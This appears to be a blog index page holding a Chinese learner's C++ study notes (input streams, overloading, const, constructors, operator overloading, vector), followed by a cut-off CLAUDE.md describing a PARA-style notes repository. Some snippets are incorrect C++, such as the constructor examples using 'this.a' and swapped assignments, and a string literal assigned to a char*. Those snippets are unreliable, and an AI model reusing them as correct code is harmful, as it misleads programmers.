（1）从结果可以看出，cin.get()从输入缓冲区读取单个字符时不忽略分隔符，直接将其读取，就出现了如上情况，将换行符读入变量b，输出时打印两次。\n（2）cin.get()的返回值是int类型，成功：读取字符的ASCII码值，遇到文件结束符时，返回EOF，即-1，Windows下标准输入输入文件结束符为Ctrl+z，Linux为Ctrl+d。cin.get(char var)如果成功返回的是cin对象，因此可以支持链式操作，如cin.get(b).get(c)。\n1.2.2 cin.get读取一行 读取一行可以使用istream\u0026amp; get ( char* s, streamsize n )或者istream\u0026amp; get ( char* s, size_t n, streamsize delim )。二者的区别是前者默认以换行符结束，后者可指定结束符。n表示目标空间的大小。示例代码如下：\n#include \u0026lt;iostream\u0026gt; using namespace std; int main() { char a; char array[20]={NULL}; cin.get(array,20); cin.get(a); cout\u0026lt;\u0026lt;array\u0026lt;\u0026lt;\u0026#34; \u0026#34;\u0026lt;\u0026lt;(int)a\u0026lt;\u0026lt;endl; system(\u0026#34;pause\u0026#34;); return 0; } 输入：123456789[回车]，输出： 注意： （1）从结果可以看出，cin.get(array,20);读取一行时，遇到换行符时结束读取，但是不对换行符进行处理，换行符仍然残留在输入缓冲区。第二次由cin.get()将换行符读入变量b，打印输入换行符的ASCII码值为10。这也是cin.get()读取一行与使用getline读取一行的区别所在。getline读取一行字符时，默认遇到’\\n’时终止，并且将’\\n’直接从输入缓冲区中删除掉，不会影响下面的输入处理。\n（2）cin.get(str,size);读取一行时，只能将字符串读入C风格的字符串中，即char*，但是C++的getline函数可以将字符串读入C++风格的字符串中，即string类型。鉴于getline较cin.get()的这两种优点，建议使用getline进行行的读取。关于getline的用法，下文将进行详述。\n1.3 cin.getline读取一行 函数作用：从标准输入设备键盘读取一串字符串，并以指定的结束符结束。 函数原型有两个：\nistream\u0026amp; getline(char* s, streamsize count); //默认以换行符结束 istream\u0026amp; getline(char* s, streamsize count, char delim); 使用示例：\n#include \u0026lt;iostream\u0026gt; using namespace std; int main() { char array[20]={NULL}; cin.getline(array,20); //或者指定结束符，使用下面一行 //cin.getline(array,20,\u0026#39;\\n\u0026#39;); cout\u0026lt;\u0026lt;array\u0026lt;\u0026lt;endl; system(\u0026#34;pause\u0026#34;); return 0; } 注意，cin.getline与cin.get的区别是，cin.getline不会将结束符或者换行符残留在输入缓冲区中。\n*我们在平时写代码中会用到几个函数但是他们的实现功能相同，但是有些细节却不同。例如：交换两个数的值其中包括（int, float,char,double)这些个类型。在C语言中我们是利用不同的函数名来加以区分。*\nvoid Swap1(int* a, int* b); void Swap2(float* a, float* b); void Swap3(char* a, char* b); void Swap4(double* a, double* b); *我们可以看出这样的代码不美观而且给程序猿也带来了很多的不便。于是在C++中人们提出了用一个函数名定义多个函数，也就是所谓的函数重载。*\n二、cout函数用法 1、cout\u0026lt;\u0026lt; uppercase \u0026lt;\u0026lt; hex\u0026lt;\u0026lt;n \u0026lt;\u0026lt;nouppercase\u0026lt;\u0026lt;\u0026quot; \u0026quot; \u0026lt;\u0026lt; uppercase \u0026lt;\u0026lt; n \u0026lt;\u0026lt; \u0026quot;(H) = \u0026quot;\n最终第二个n还是用的uppercase大写方式输出。\n头文件#include 中有setw()设置位数，setfill(\u0026lsquo;0\u0026rsquo;)用来设置输出格式 三、函数重载 1、函数重载定义 ***函数重载*是一种特殊情况，C++允许在*同一作用域中声明几个类似的同名函数*，这些同名函数的形参列表（参数个数，类型，顺序）必须不同，常用来处理实现功能类似数据类型不同的问题。\n*在C++中不仅函数可以重载，运算符也可以重载。例如：*\n*运算符\u0026laquo;,\u0026raquo;。既可以做移位运算符，也可以做输出，输入运算符。*\n*注意：重载函数的参数个数，参数类型或参数顺序三者中必须有一个不同*\n#include\u0026lt;Windows.h\u0026gt; #include\u0026lt;iostream\u0026gt; using namespace std; int Add(int a, int b) { return a + b; } double Add(double a, double b) { return a + b; } float Add(float a, float b) { return a + b; } int main() { cout\u0026lt;\u0026lt;Add(1,2)\u0026lt;\u0026lt;endl; cout\u0026lt;\u0026lt;Add(3.5, 4.5)\u0026lt;\u0026lt;endl; cout \u0026lt;\u0026lt; Add(2.22, 3.33) \u0026lt;\u0026lt; endl; system(\u0026#34;pause\u0026#34;); return 0; } 我们可以看到定义了一个Add函数来求三个不同类型数的和，在调用过程中系统会自动根据其实参的类型不同来实现准确调用。\n#include\u0026lt;iostream\u0026gt; #include\u0026lt;Windows.h\u0026gt; using namespace std; int main() { int max(int a, int b, int c); int max(int a, int b); int a = 10; int b = 20; int c = 30; cout \u0026lt;\u0026lt; max(a, b, c) \u0026lt;\u0026lt; endl; cout \u0026lt;\u0026lt; max(a, b) \u0026lt;\u0026lt; endl; system(\u0026#34;pause\u0026#34;); return 0; } int max(int a, int b, int c) { if (b \u0026gt; a) a = b; if (c \u0026gt; a) a = c; return a; } int max(int a, int b) { return (a \u0026gt; b) ? a : b; } 从上边代码可以看出函数重载除了允许函数类型不同以外，换允许参数个数不同。\n***函数重载的规则：*\n函数名称必须相同。 参数列表必须不同（个数不同、类型不同、参数排列顺序不同等）。 函数的返回类型可以相同也可以不相同。 仅仅返回类型不同不足以成为函数的重载。** ** 2、函数重载的作用： 重载函数通常用来在同一个作用域内 用同一个函数名 命名一组功能相似的函数，这样做减少了函数名的数量，避免了名字空间的污染，对于程序的可读性有很大的好处。\n*三、函数重载是一种静态多态：*\n（1）多态：用同一个东西表示不同的形态； （2）多态分为： 静态多态（编译时的多态）； 动态多态（运行时的多态）； （3）函数重载是一种静态多态；\n*四.面试题*\n*1.C语言中为什么不能支持函数重载？*\n* *\n*从上图可知****编译器在编译.c文件时****，**只会给函数进行简单的重命名；具体的方法是给函数名之前加上”_”;所以加入两个函数名相同的函数在编译之后的函数名也照样相同；调用者会因为不知道到底调用那个而出错；***\n**2.C++中函数重载底层是如何处理的？****\n** ****\n*在.cpp文件中，虽然两个函数的函数名一样，但是他们在符号表中生成的名称不一样。*\n** ***‘？’表示名称开始，‘？’后边是函数名“@@YA”表示参数表开始，后边的3个字符分别表示返回值类型，两个参数类型。“@Z”表示名称结束。*** *由于在.cpp文件中，两个函数生成的符号表中的名称不一样，所以是可以编译通过的。***\n*3.C++中能否将一个函数按照C的风格来编译？*\n#include\u0026lt;iostream\u0026gt; #include\u0026lt;Windows.h\u0026gt; using namespace std; extern \u0026#34;C\u0026#34; int Add(int a, int b) {\treturn a + b; } int main() { cout \u0026lt;\u0026lt; Add(10, 20) \u0026lt;\u0026lt; endl; system(\u0026#34;pause\u0026#34;); return 0; } 可以按照C风格来编译，只需在函数名前加 extern \u0026ldquo;C\u0026rdquo; 就可以完成按照C风格来编译\n四、const修饰符笔记 1、const int * a 指向常量的指针 这里const 修饰的是int，而int定义的是一个整值 因此a 所指向的对象 值 不能通过 *a 来修改，但是 可以重新给 a 来赋值，使其指向不同的对象 eg: const int *a = 0; const int b = 1; int c = 1; a = \u0026amp;b //ok！ 额外：注意不能通过a 来修改 b值 a = \u0026amp;c //ok！ 额外：虽然c本身不是一个常量 *a = 2 //Error！ 为题就在这里，不能修改通过 a 所指向的对象值，最后赋值得对象是c，因此不能通过a 来修改c值。\n2、*int const a 常指针 这里const修饰的是 a ，a代表的是一个指针地址 因此不能赋给a其他的地址值，但可以修改a指向的值 这有点和cont int *a相反的意味，例子就不说了\n3、至于int const *a 和 const int *a 的意义是相同的 他们两个的作用等价\n补充： 4、const int * const a 这个代表a所指向的对象的值以及它的地址本身都不能被改变\n3、关于const的点滴补充: 1、const 对象的地址只能赋值给指向const 对象的指针\n例如 字符串常量 只能赋值给 const char*, 而不能赋值给char*\n2、指向const 对象的指针可以 被赋 以 一个非const 对象的地址 3、指向const 得指针常被用作函数的形式参数，保证被传递给函数的实际对象在函数得实际对象在函数中不会被修改 4、常量在定义后就不能被修改,所以它必须被初始化。未初始化的常量定义将导致编译错误（上面都是在说明const的问题，所以没有赋值，实际语句中要赋值的）\nconst指针既可以指向变量，也可以指向常量；\n而非const指针只能指向非const的值；\n【const对象的地址只能赋值给指向const的指针】\n六、内联函数 1.定义 C++ 提供一种提高效率的方法，即在编译时将函数调用处用函数体替换，类似于C语言中的宏展开。**这种在函数调用处直接嵌入函数体的函数称为内联函数（Inline Function），又称内嵌函数或者内置函数。\n2.使用方法 内联函数在函数定义处编写关键词inline，而并非是在函数声明处，在函数声明处写的inline会被编译器忽略掉。\n因为一般写成内联函数的函数体都很短小，故就直接忽略函数的声明，直接定义函数。\n3.理解 函数调用是有时间和空间开销的。程序在执行一个函数之前需要做一些准备工作，要将实参、局部变量、返回地址以及若干寄存器都压入栈中，然后才能执行函数体中的代码；函数体中的代码执行完毕后还要清理现场，将之前压入栈中的数据都出栈，才能接着执行函数调用位置以后的代码。\n如果函数体代码比较多，需要较长的执行时间，那么函数调用机制占用的时间可以忽略；如果函数只有一两条语句，那么大部分的时间都会花费在函数调用机制上，这种时间开销就就不容忽视。\n所以，使用内联函数的缺点也是非常明显的，编译后的程序会存在多份相同的函数拷贝，如果被声明为内联函数的函数体非常大，那么编译后的程序体积也将会变得很大，所以再次强调，一般只将那些短小的、频繁调用的函数声明为内联函数。\n4.何时使用内联函数？ 内联不是万灵丹，它以代码膨胀（拷贝）为代价，仅仅省区了函数调用的开销，从而提高程序的执行效率。（开销指的是参数的压栈、跳转、退栈和返回操作）。\n一方面，如果执行函数体内代码的时间比函数调用的开销大得多，那么inline效率收益会很小。 另一方面，每一处内联函数的调用都要拷贝代码，使程序的总代码量增大，消耗更多的内存空间。 以下情况不宜使用内联：\n如果函数体内代码比较长，使用内联将导致可执行代码膨胀过大。 如果函数体内出现循环或者其他复杂的控制结构，那么执行函数体内代码的时间将比函数调用的开销大得多。 七、逗号表达式 逗号表达式的求解过程是：先求解表达式1，再求解表达式2。整个逗号表达式的值是表达式2的值\n又如，逗号表达式a=3 * 5，a*4，对此表达式的求解，赋值运算符的优先级别高于逗号运算符，因此应先求解a=3 * 5，经计算和赋值后得到a的值为15，然后求解a * 4，得60，整个逗号表达式的值为60（a仍为15）。\n逗号表达式无非是把若干个表达式“串联”起来。即逗号表达式纯粹就是为了在只能写一条表达式的地方写多条表达式而设计的\n八、x64和x86 x64即是64位编译器，x86是32位编译器\nx86是CPU的架构类型，64是位数，x64：x86-64，x32：x86-32，通俗叫法。\n32位编译器 char ：1个字节 char（即指针变量）: 4个字节（32位的寻址空间是2^32, 即32个bit，也就是4个字节。同理64位编译器）* short int : 2个字节 int： 4个字节 unsigned int : 4个字节 float: 4个字节 double: 8个字节 long: 4个字节 long long: 8个字节 unsigned long: 4个字节\n64位编译器\nchar ：1个字节 char(即指针变量): 8个字节* short int : 2个字节 int： 4个字节 unsigned int : 4个字节 float: 4个字节 double: 8个字节 long: 8个字节 long long: 8个字节 unsigned long: 8个字节\n九、指针 1 char** a 在 char** a 语句中，a 是一个指针，这个指针（即指针 a）指向一块内存地址，该内存地址中存储的是 char* 类型的数据。指针的加减运算在这里的体现为：a + 1 表示地址加 8 字节（在 32 位系统中，地址加 4 字节）。\nchar* 也是一个指针，用 *a 表示，这个指针（即指针 *a）指向一块内存地址，该内存地址中存储的是 char 类型的数据。指针的加减运算在这里的体现为：(*a) + 1 表示地址加 1 字节。\n说明：\n在 32 位系统中，一个指针占用 4 字节（32 位）内存空间；在 64 位系统中，一个指针占用 8 字节（64 位）内存空间； 由于 a 指向一个指针类型（char*），故 a + 1 操作就是对指针类型的地址进行操作，所以 a + 1 表示地址加 8 字节；*a指向一个 char 类型，char 类型占用 1 个字节，故 *a + 1 操作就是对 char 类型的地址进行操作，所以 *a + 1 表示地址加 1 字节。 2 char* a[] 在 char* a[] 中，a 是数组，数组中的元素是指针，这些指针指向 char 类型的数据。\n说明：\n数组里面所有的元素，在内存中都是是连续存放的； 数组名在 C 语言中做了特殊处理，数组名使用数组所占用的（连续）内存区域的第一个字节的内存地址替代了。例如，数组占用的内存区域是 0x7fff5da3f550 到 0x7fff5da3f5a0，那么数组名 a 就会被替换成首地址 0x7fff5da3f550； a+1 表示数组 a 的第二个元素的内存地址，所以 a + 1 是地址加 8 字节（再次说明，因为数组 a 的元素是指针（char*），指针类型占用 8 字节）； char* a[10] 表示限定这个数组最多可以存放 10 个指针（char*）元素，也就是说这个数组会占用 10 * 8 = 80 个字节。 3 两者区别与联系 3.1 赋值 可以使用 char* a[] 给 char** 赋值，代码如下：\nchar* a[] = {\u0026#34;hello world\u0026#34;, \u0026#34;liitdar\u0026#34;}; char** b = a; 但不能使用 char** 给 char* a[] 赋值，因为在 char* a[] 中，a作为数组名，是一个常量，我们不能给常量赋值。\n十、链表 1.结点 struct Node { int data;\t// 数据域(虽然这里仅有一个数据，但还是用数据datum的复数形式) Node *next;\t// 指针域 };\n2.链表的创建 Node*\u0026amp; Create(Node* \u0026amp;head, int n, int* array) { if (head == NULL)head = new Node{}; //这句语句让我花费了两个小时来调试，栓Q 55555` Node* p = head; //用一个新的指针p指向head，接下来都对p进行操作，从而保证head始终指向的是链表头` for (int i = 1;i \u0026lt; n;i++) { if(1==i)p-\u0026gt;data = array[0]; Node* pNewNode = new Node; //创建一个新的结点，之后对其赋值并连接在链表上` pNewNode-\u0026gt;data = array[i]; //赋值` pNewNode-\u0026gt;next = NULL; //使新的结点next指向NULL，保证最后一个结点也是指向NULL的` p-\u0026gt;next = pNewNode; //使上一个结点的next指向当前指针pNewHead` p = pNewNode; //更新上一个结点p` } return head; } 十一、类的构造函数 对于class test{ public: private: int a; int b }来说 1.默认构造函数 test( ){a=1;b=0;}\n在函数调用的时候，就可以直接定义一个test对象，例如 test test_a;即是创建了一个test类的对象test_a\n2.初始化构造函数 test(int x.int y){a=x;y=b;}\n在函数调用的时候可以用括号去给对象赋初值，进行初始化的操作。例如 test test_b(20,,30);\n3.拷贝构造函数 拷贝构造函数就是用已经存在的该类的另外一个对象去创建一个新的对象，例如：\ntest (const test \u0026amp; test_a ){` this.a=test__a.a;` this.b=test_a.b;} 使用的时候就可以，test test_c(test_a);\n4.转换构造函数 转换构造函数即是给编译器提供了一个转换数据类型的方法，比如说是复数 类的数据和一个int型的数据相加，转换构造函数就可以将int型数据转换为复数类的对象，再根据定义的函数体进行对应的操作。\n转换构造函数只有一个参数列表\ntest(double a){ int a=a; int b=0; } 使用的时候 test test_d(2.00);\n十二、new的用法 new的后面写指针所指向的数据类型，告诉计算机要开辟多大的空间\n#include \u0026lt;iostream\u0026gt; using namespace std; int example1() { //可以在new后面直接赋值 int *p = new int(3); //也可以单独赋值 //*p = 3; //如果不想使用指针，可以定义一个变量，在new之前用“*”表示new出来的内容 int q = *new int; q = 1; cout \u0026lt;\u0026lt; q \u0026lt;\u0026lt; endl; return *p; } int* example2() { //当new一个数组时，同样用一个指针接住数组的首地址 int *q = new int[3]; for(int i=0; i\u0026lt;3; i++) q[i] = i; return q; } struct student { string name; int score; }; student* example3() { //这里是用一个结构体指针接住结构体数组的首地址 //对于结构体指针，个人认为目前这种赋值方法比较方便 student *stlist = new student[3]{{\u0026#34;abc\u0026#34;, 90}, {\u0026#34;bac\u0026#34;, 78}, {\u0026#34;ccd\u0026#34;, 93}}; return stlist; } int main() { int e1 = example1(); cout \u0026lt;\u0026lt;\u0026#34;e1: \u0026#34;\u0026lt;\u0026lt; e1 \u0026lt;\u0026lt; endl; int *e2 = example2(); for(int i=0; i\u0026lt;3; i++) cout \u0026lt;\u0026lt; e2[i] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; cout \u0026lt;\u0026lt; endl; student *st1 = example3(); for(int i=0; i\u0026lt;3; i++) cout \u0026lt;\u0026lt; st1[i].name \u0026lt;\u0026lt; \u0026#34; \u0026#34; \u0026lt;\u0026lt; st1[i].score \u0026lt;\u0026lt; endl; return 0; } 十三、string、char*、char[]数据类型之间的转换 1、写了一个案例试了试 #include\u0026lt;iostream\u0026gt; using namespace std; int main() { string a_str = \u0026#34;我是string类型数据\u0026#34;; string b_str(\u0026#34;cdf\u0026#34;); char* c_star = new char(NULL); c_star = \u0026#34;我是char*类型数据\u0026#34;;//怎么把指针开辟空间和赋值写成一条语句呢？ char d_array[20] = \u0026#34;我是array类型数据\u0026#34;; string test_string; char* test_star; char test_array[20]; string test_string2; char* test_star2; char test_array2[20]; //char* -\u0026gt; string test_string = c_star;//直接赋值 //char[] -\u0026gt; string test_string2 = d_array;//直接赋值 //string -\u0026gt; char* //test_star = a_str;//错误，string到char*不能直接赋值 test_star = (char*)a_str.data();//由string像char*转换要先强制转换类型为char*，由.data()方法出来的是const char*类型的数据 test_star =(char*) a_str.c_str();//.c_str()方法用法和.data()方法一样 //char[] -\u0026gt; char* test_star2 = d_array;//直接赋值 //string -\u0026gt; char[] //test_array = a_str;//错误，数组类型的数据不能作为左值直接被赋值 strcpy(test_array, a_str.data()); //char* -\u0026gt; char[] strcpy(test_array2, c_star); cout \u0026lt;\u0026lt; \u0026#34;string -\u0026gt; char[] array:\u0026#34;\u0026lt;\u0026lt;test_array \u0026lt;\u0026lt; endl; cout \u0026lt;\u0026lt; \u0026#34;char* -\u0026gt; char[] array:\u0026#34; \u0026lt;\u0026lt; test_array2 \u0026lt;\u0026lt; endl; cout \u0026lt;\u0026lt; \u0026#34;string -\u0026gt; char* star:\u0026#34; \u0026lt;\u0026lt; test_star \u0026lt;\u0026lt; endl; cout \u0026lt;\u0026lt; \u0026#34;char[] -\u0026gt; char* star:\u0026#34; \u0026lt;\u0026lt; test_star2 \u0026lt;\u0026lt; endl; cout \u0026lt;\u0026lt; \u0026#34;char* -\u0026gt; string string:\u0026#34; \u0026lt;\u0026lt; test_string \u0026lt;\u0026lt; endl; cout \u0026lt;\u0026lt; \u0026#34;char[] -\u0026gt; string string:\u0026#34; \u0026lt;\u0026lt; test_string2 \u0026lt;\u0026lt; endl; return 0; } 输出结果：\nstring -\u0026gt; char[] array:我是string类型数据 char* -\u0026gt; char[] array:我是char*类型数据 string -\u0026gt; char* star:我是string类型数据 char[] -\u0026gt; char* star:我是array类型数据 char* -\u0026gt; string string:我是char*类型数据 char[] -\u0026gt; string string:我是array类型数据 2.总结 string -\u0026gt; char[] 通过函数strcpy拷贝实现，string部分通过.data()的方法\nchar* -\u0026gt; char[] 也是通过strcpy实现\nstring -\u0026gt; char* 通过.data()或者.c_str()实现，记得要强制转换为char*\nchar[] -\u0026gt; char* 直接赋值\nchar* -\u0026gt; string 直接赋值\nchar[] -\u0026gt; string 直接赋值\n十四、【项目调试】：链表的链表 1、二维数组的参数传递 对于二维数组或者更高维数组的参数传递，只能省略一维的大小。\n如二维数组的参数传递应该为：int a[ ][10], 而不应该是int** a\n特别是在模板函数匹配的过程中，二维数组是无法转换成二维数组的，即使强制转换类型之后，在后续的函数操作调用时，也会出现其他无法访问的错误。\n2、友元函数的声明 对于在类中声明友元函数的时候，一定要在该类之前，提前声明你的友元函数或者友元类，不然编译器找不到它的\u0026hellip;\n3、模板函数的声明与定义 对于函数模板或者类模板中定义的成员函数，一定要把函数的声明和实现的描述放在头文件中！\n如果只在头文件中声明了函数模板原型，在一个CPP文件中描述函数模板实现，当你在另外一个CPP文件中调用该函数模板时候，编译器会出现无法解析外部指令的报错。原因如下：\nCPP采用的是分离式编译，即是说在各个编译单元编译好文件之后，再通过链接器把他们链接为一个整体。当你在一个CPP文件中调用了模板函数并且对他实例化，编译器就会在你所引用的头文件和当前编译单元中去寻找函数是如何实现的，并将它编译。如果没有找到函数的定义，但是声明是对的，会通过编译，等待在下一步链接的时候，期待在其他编译单元中的定义链接过来就可以运行。另一方面，对于函数模板定义所在的CPP文件，因为其所在的编译单元中无人调用该模板，所以并不会实例化，也不会生成相应的在另外一个CPP中需要的模板函数实例化后的函数代码。所以在程序运行调试之后，会报出链接失败的错误提示。\n所以说呢，最好就是把模板函数的声明和定义都放在头文件里面。\n在我调试这个项目的时候，当时没有把模板函数的定义放在头文件里面，所以编译器报出了无法解析外部指令的错误，然后我当时是修改了在模板函数中的定义，把模板去掉，直接就是定义了一个实例化之后的函数：\nNode\u0026lt;int\u0026gt;* LinkList\u0026lt;int\u0026gt;::SearchNode(int date) { Node\u0026lt;int\u0026gt;* p = head; while (p-\u0026gt;data != date)p = p-\u0026gt;next; return p; } 像这样，然后通过了运行\n但是我觉得最好还是把模板函数和模板类中成员函数的声明和定义一起放在头文件里面\n4、团队的合作方法 这一次小组合作因为使劲很紧迫，在午饭之后开了个会，从具体的实现功能开始，设计函数功能，设计函数原型，最后大家一起开了个屏幕共享给写完了头文件，就散会了。下午大家根据头文件完成各个函数的定义，最后晚上九点一起联合调试。联合调试的时候写测试函数，下一次应该早点写好测试函数。这次因为数据不知道应该怎么传进去debug了好久，浪费了很多时间，下次也应该把测试函数的编写提上议程。\n十五、运算符重载 1.运算符函数的调用形式 习惯调用形式 友元运算符重载函数调用形式 成员运算符重载函数调用形式 a+b operator+(a,b) a.operator+(b) -a operator-(a) a.operator-() a++ operator++(a,0) a.operator++(0) 2.运算符重载函数：成员函数？友元函数？ 一般而言，对于双目运算符，将它重载为友元运算符比重载为成员运算符便于使用。对于单目运算符，则选择成员运算符较好。如果运算符所需的操作数（尤其是第一个操作数）希望有隐式类型转换，则运算符重载必须用友元函数。以下的经验可供参考：\n对于单目运算符，建议选择成员函数。\n对于运算符“=、()、[ ]、-\u0026gt;” 只能作为成员函数。\n对于运算符“+=、-=、/=、*=、\u0026amp;=、!=、~=、%=、\u0026laquo;=、\u0026raquo;=”，建议重载为成员函数。\n对于其他运算符，建议重载为友元函数(比如+、 -、* 、 / 、 \u0026raquo; 、 \u0026laquo;)\n小结：单目运算符++、++和 = 和迭代运算符重载为成员函数\n加减乘除插入抽取 重载为友元函数\n3.对于单目运算符的重载 对于++，\u0026ndash;（后置）：应该是进行自加或者自减的操作，但是返回的是原来的值。\n对于++，\u0026ndash;（前置）：是直接返回自加或者自减之后的值\n他们都是设计成成员函数进行操作。\n由于前置和后置的运算符的重载在形式上（函数名）都是一样的，所以会在参数列表上有所区别。++或者\u0026ndash;作为后置的时候，会有形式上的参数（int），但是没有具体的形式参数名称。\nTime operator++(int) {//表示后置++ Time temp = *this;//++（后置）操作是先进行其他运算后，才会自加，所以先备份然后值返回备份，原来的数据自加就行 this-\u0026gt;sec++; return temp;//值返回自增前的备份，不能使用引用返回，要是引用返回的话，temp在退出这个函数的时候会释放掉，所以应该采取值返回 } Time operator++() {//表示前置++ sec++; return * this; } Time operator--(int) { //表示后置-- Time temp = *this; sec--; return temp;// 不能采取引用返回，因为temp的生命周期到这里就结束了 } Time operator--() { //前置-- sec--; return *this; } 4.类型转换函数 函数名称：operator 类型名( ){ 具体转换的实现代码; }\n函数作用：类的对象转换为其他类型的数据\n与转换构造函数的联系：转换构造函数就是把别的数据类型转换为类的对象，而类型转换函数将类的对象转换为其他的数据类型\n在函数名前面不能指定函数类型，函数没有参数。其返回值的类型是由函数名中指定的类型名来确定的。类型转换函数只能作为成员函数，因为转换的主体是本类的对象。不能作为友元函数或普通函数。\n从函数形式可以看到，它与运算符重载函数相似，都是用关键字operator开头，只是被重载的是类型名。double类型经过重载后，除了原有的含义外，还获得新的含义(将一个Complex类对象转换为double类型数据，并指定了转换方法)。这样，编译系统不仅能识别原有的double型数据，而且还会把Complex类对象作为double型数据处理。\nRMB::operator double()\t// 类型转换函数定义 { return yuan + jiao / 10.0 + fen / 100.0; } 十六、枚举类型 1.enum和enum class区别 enum和enum class最大的区别就是作用域的不同。enum的作用域在一整个文件中都存在，而enum class的作用域尽在花括号之内。这个特性就决定了enum class可以在不同的枚举类中定义相同的枚举常量，而若在enum中这样做会出现编译错误。\nenum中定义的枚举常量，在其之后的代码中可以直接使用，而在enum class中定义则需要加上enum class的类名和作用域限定符。\n关于枚举的一些注意：\n枚举中每个成员(标识符)结束符是“,”而不是”;” 最后一个成员可省略”,” 初始化时可以赋负数，以后的标识符仍依次加1。 枚举变量只能取枚举说明结构中的某个标识符常量。 在外部可以对枚举变量进行赋值，但需要进行类型转换。 枚举常数可以隐式转换为int，但是int不可以隐式转换为枚举值。 为枚举中的每个名称分配一个整数值，该值与其在枚举中的顺序相对应。默认情况下，第一个值分配0，下一个值分配1，依次类推，但也可以显示设置枚举名称的值。 枚举值可以用来作判断比较。 十七、库函数 1、vector类 vector是标准库中常见的一种容器，使用起来非常方便，可以用来代替c++原本的数组。\nvector 的创建和初始化 vector作为存放一串数据的容器，在创建和初始化的时候就要考虑数据类型、数据的个数以及数据的值，并且针对这几个属性就可以有几种不同的初始化方式。\nvector\u0026lt;int\u0026gt; vec1; vector\u0026lt;float\u0026gt; vec2(3); vector\u0026lt;char\u0026gt; vec3(3,\u0026#39;a\u0026#39;); vector\u0026lt;char\u0026gt; vec4(vec3); vector的遍历 for (int i = 0; i \u0026lt; vec1.size(); i++ ) cout \u0026lt;\u0026lt; vec1[i] \u0026lt;\u0026lt; \u0026#34;\u0026#34;; 循环终止条件是i\u0026lt; vec.size()，这里的size（）会返回vector的大小\n向vector添加元素 empty（）可以判断vector是否为空，而push_back（）每次会添加一个元素到vector的末尾\nvec1.push_back(1); vec1.push_back(2); 从vector移除元素 pop_back（）和push_back（）一样，都是从vector末尾进行尾行操作。\npop_back()每次都会移除一个元素。\n需要注意的是，如果vector为空，使用pop_back()将会产生异常结果，因此需要empty（）来确定vector不为空。\nvector相等判断与赋值 vector的赋值会把一个vector所有的元素赋值到另一个vector中，并替代所有元素；\n而vector的相等也是需要逐个元素依次比较并全部相等才算相等。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E5%AD%A6%E4%B8%9A%E5%BD%92%E6%A1%A3/note-cpp/","summary":"C++学习笔记 现在主流的编译型语言包括C、C++、Go、Rust等，它们的编译过程中需要将代码转换成机器语言，因此可以获得更高的执行效率和更好的性能。\n而主流的解释型语言包括Python、Ruby、JavaScript等，这些语言需要解释器将代码转换成机器语言并运行，因此相对于编译型语言，它们的执行效率和性能可能会稍低，但是它们通常具有更高的开发效率和更强的灵活性，因为它们可以在运行时动态修改代码。\n另外，还有一些语言是即时编译型语言（JIT），例如Java、C#和LuaJIT等，这些语言的编译器会在运行时将代码编译成机器语言，因此它们的执行效率和性能通常比解释型语言要高一些，但比编译型语言略低一些。\n函数的声明和定义中，\n不能重复定义一个参数的值；\n带有默认值的形式参数必须放在参数列表的最右侧;\n一、cin 函数的用法 使用cin从标准输入读取数据时，通常用到的方法有cin\u0026raquo;，cin.get，cin.getline。\n1.1 cin\u0026raquo;的用法 （1）cin\u0026raquo;等价于cin.operator\u0026raquo;()，即调用成员函数operator\u0026raquo;()进行读取数据。 （2）当cin\u0026raquo;从缓冲区中读取数据时，若缓冲区中第一个字符是空格、tab或换行这些分隔符时，cin\u0026raquo;会将其忽略并清除，继续读取下一个字符，若缓冲区为空，则继续等待。但是如果读取成功，字符后面的分隔符是残留在缓冲区的，cin\u0026raquo;不做处理。 （3）不想略过空白字符，那就使用 noskipws 流控制。比如cin\u0026raquo;noskipws\u0026raquo;input;\n1.2 cin.get的用法 1.2.1 cin.get读取一个字符 读取一个字符，可以使用cin.get或者cin.get(var)，示例代码如下：\n#include \u0026lt;iostream\u0026gt; using namespace std; int main() { char a; char b; a=cin.get(); cin.get(b); cout\u0026lt;\u0026lt;a\u0026lt;\u0026lt;b\u0026lt;\u0026lt;endl; system(\u0026#34;pause\u0026#34;); return 0; } 输入：e[回车]，输出： 注意： （1）从结果可以看出，cin.get()从输入缓冲区读取单个字符时不忽略分隔符，直接将其读取，就出现了如上情况，将换行符读入变量b，输出时打印两次。\n（2）cin.get()的返回值是int类型，成功：读取字符的ASCII码值，遇到文件结束符时，返回EOF，即-1，Windows下标准输入输入文件结束符为Ctrl+z，Linux为Ctrl+d。cin.get(char var)如果成功返回的是cin对象，因此可以支持链式操作，如cin.get(b).get(c)。\n1.2.2 cin.get读取一行 读取一行可以使用istream\u0026amp; get ( char* s, streamsize n )或者istream\u0026amp; get ( char* s, size_t n, streamsize delim )。二者的区别是前者默认以换行符结束，后者可指定结束符。n表示目标空间的大小。示例代码如下：\n#include \u0026lt;iostream\u0026gt; using namespace std; int main() { char a; char array[20]={NULL}; cin.","title":"CPP学习笔记"},{"content":"CLAUDE.md - Notes 知识库维护指南 本文件用于指导 Claude 在后期维护此知识库时的行为。\n📁 知识库结构 (PARA) 本知识库采用 PARA 方法 组织：\n0-Inbox/ # 收件箱 - 临时笔记，待整理 1-Projects/ # 项目 - 当前进行的项目 2-Areas/ # 领域 - 长期维护的技术/责任领域 3-Resources/ # 资源 - 参考资料、速查表 4-Archive/ # 归档 - 已完成的内容 5-MOC/ # 内容地图 - 索引和导航 详细说明 2-Areas/ 技术栈分类：\n工作/数据库开发/ - 当前工作相关（向量索引等） 技术栈/Go/ - Go 语言 技术栈/Redis/ - Redis 技术栈/数据库/ - MySQL, MongoDB, GORM 技术栈/网络与安全/ - 网络安全 技术栈/微服务与分布式/ - gRPC, K8s, Docker 技术栈/机器学习/ - PyTorch 等 个人成长/ - AI 工具、学习方法 4-Archive/ 归档分类：\n项目归档/ - Aorb, Scoreboard, 课程系统等已完成项目 求职归档/ - 面试准备资料（已上岸） 学业归档/ - 大学课程笔记 论文/ - 学术论文 📝 笔记规范 Frontmatter 格式 所有笔记必须包含以下 frontmatter：\n--- title: \u0026#34;笔记标题\u0026#34; date: 2026-04-10 tags: - tag1 - tag2 draft: false # true = 不发布到博客 --- 标签体系 技术标签： #go #redis #mongodb #mysql #docker #kubernetes #grpc #微服务\n类型标签： #项目 #笔记 #命令速查 #面试 #问题记录\n状态标签： #draft #published #archived\nPARA 标签： #para-project #para-area #para-resource #para-archive\n🔄 博客发布流程 本知识库通过 Git 子模块与 Hugo 博客关联：\nObsidian Vault (iCloud) ↓ 手动/自动同步 Notes Repo (private) ↓ Git 子模块 Hugo Blog (public) → GitHub Pages 发布步骤 编辑笔记（Obsidian 或 